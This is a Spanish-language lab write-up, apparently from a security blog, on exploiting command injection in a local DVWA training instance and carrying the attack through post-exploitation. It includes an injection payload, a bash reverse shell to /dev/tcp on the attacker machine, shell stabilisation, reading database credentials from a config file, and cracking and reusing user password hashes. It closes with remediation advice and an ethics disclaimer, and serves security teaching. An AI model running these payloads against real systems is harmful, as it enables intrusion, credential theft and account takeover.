🛡️ DVWA (Command Injection + Post-Explotación)


🔹 Introducción

En este informe se analiza la vulnerabilidad de Command Injection en la aplicación Damn Vulnerable Web Application (DVWA). Se demuestra cómo un atacante puede ejecutar comandos en el sistema, obtener acceso mediante una reverse shell y comprometer completamente la aplicación.


🎯 Objetivo

Evaluar la vulnerabilidad de Command Injection en DVWA y analizar el impacto tras su explotación.


🖥️ Entorno

  • Kali Linux (VirtualBox)
  • DVWA (Docker)
  • URL: http://localhost:8080

Red:

  • Kali: 10.0.2.15
  • DVWA: 172.17.0.x

🔍 Identificación de la vulnerabilidad

Se identifica una vulnerabilidad en la siguiente ruta:

/vulnerabilities/exec/

El campo de entrada permite ejecutar comandos del sistema sin validación.


🧪 Prueba de concepto

Se realiza una prueba básica de ejecución de comandos:



10.0.1.15 ; ip a

✅ Resultado

Se confirma la ejecución de comandos al obtener información del sistema objetivo.


💣 Explotación

🔥 Reverse Shell

Se establece una conexión inversa desde el servidor vulnerable hacia la máquina atacante.

Listener en Kali:

rlwrap nc -lvnp 4444

Payload ejecutado:

; bash -c «bash -i >& /dev/tcp/10.0.2.15/4444 0>&1»


🧠 Post-Explotación

🧰 Mejora de la Shell (TTY Upgrade)

Tras obtener acceso mediante reverse shell, la sesión inicial presenta limitaciones:

  • Sin control de terminal
  • Sin autocompletado
  • Problemas con señales (CTRL+C)

Para mejorar la interacción:

script /dev/null -c bash

Ajustes adicionales:

CTRL + Z
stty raw -echo
fg
export TERM=xterm
reset

Resultado:

  • ✔ Interacción más fluida
  • ✔ Mejor control del terminal
  • ✔ Entorno más cercano a una shell real

📋 Información del sistema

whoami
www-data

id
uid=33(www-data)

uname -a
Linux (contenedor Docker)

📂 Acceso a archivos sensibles

Se accede al siguiente archivo:

/var/www/html/config/config.inc.php

🔑 Credenciales obtenidas

db_user = app
db_password = vulnerables
db_database = dvwa

🗄️ Acceso a base de datos

Conexión a MariaDB:

mysql -u app -p

Consulta realizada:

SELECT user, password FROM users;

🔓 Extracción de credenciales

UsuarioHash MD5
admin5f4dcc3b5aa765d61d8327deb882cf99
gordonbe99a18c428cb38d5f260853678922e03
13378d3533d75ae2c3966d7e0d4fcc69216b
pablo0d107d09f5bbe40cade3de5c71e9e9b7
smithy5f4dcc3b5aa765d61d8327deb882cf99

🔑 Cracking de hashes

Se identifican como MD5 y se crackean mediante diccionario:

UsuarioPassword
adminpassword
gordonbabc123
1337charley
pabloletmein
smithypassword

🔐 Acceso a la aplicación

Se valida acceso en:

/login.php

Ejemplo:

gordonb / abc123 → acceso válido

⚠️ Impacto

La vulnerabilidad permite:

  • 💀 Ejecución remota de comandos (RCE)
  • 💻 Acceso al sistema (reverse shell)
  • 📂 Lectura de archivos sensibles
  • 🔑 Exposición de credenciales
  • 🗄️ Acceso a base de datos
  • 🔓 Compromiso de cuentas de usuario

📊 Nivel de severidad

🔴 CRÍTICO


🛡️ Recomendaciones

  • Validar y sanitizar entradas del usuario
  • Evitar ejecución directa de comandos del sistema
  • Uso de funciones seguras (escapeshellarg, escapeshellcmd)
  • Almacenar contraseñas con algoritmos seguros (bcrypt, Argon2)
  • Principio de mínimo privilegio
  • Segregar servicios (web / base de datos)

🧠 Conclusión

Se ha logrado un compromiso completo de la aplicación, demostrando un flujo real de ataque:

Command Injection

Reverse Shell

Acceso al sistema

Credenciales

Base de datos

Compromiso total

⚠️ Nota importante

Todos los procedimientos descritos en este documento deben realizarse exclusivamente en entornos controlados y con autorización explícita. El uso no autorizado de estas técnicas es ilegal y contrario a la ética profesional.


🎓 Propósito educativo

Este contenido tiene fines exclusivamente educativos, orientado al aprendizaje de técnicas de ciberseguridad en entornos controlados como DVWA.

Scroll al inicio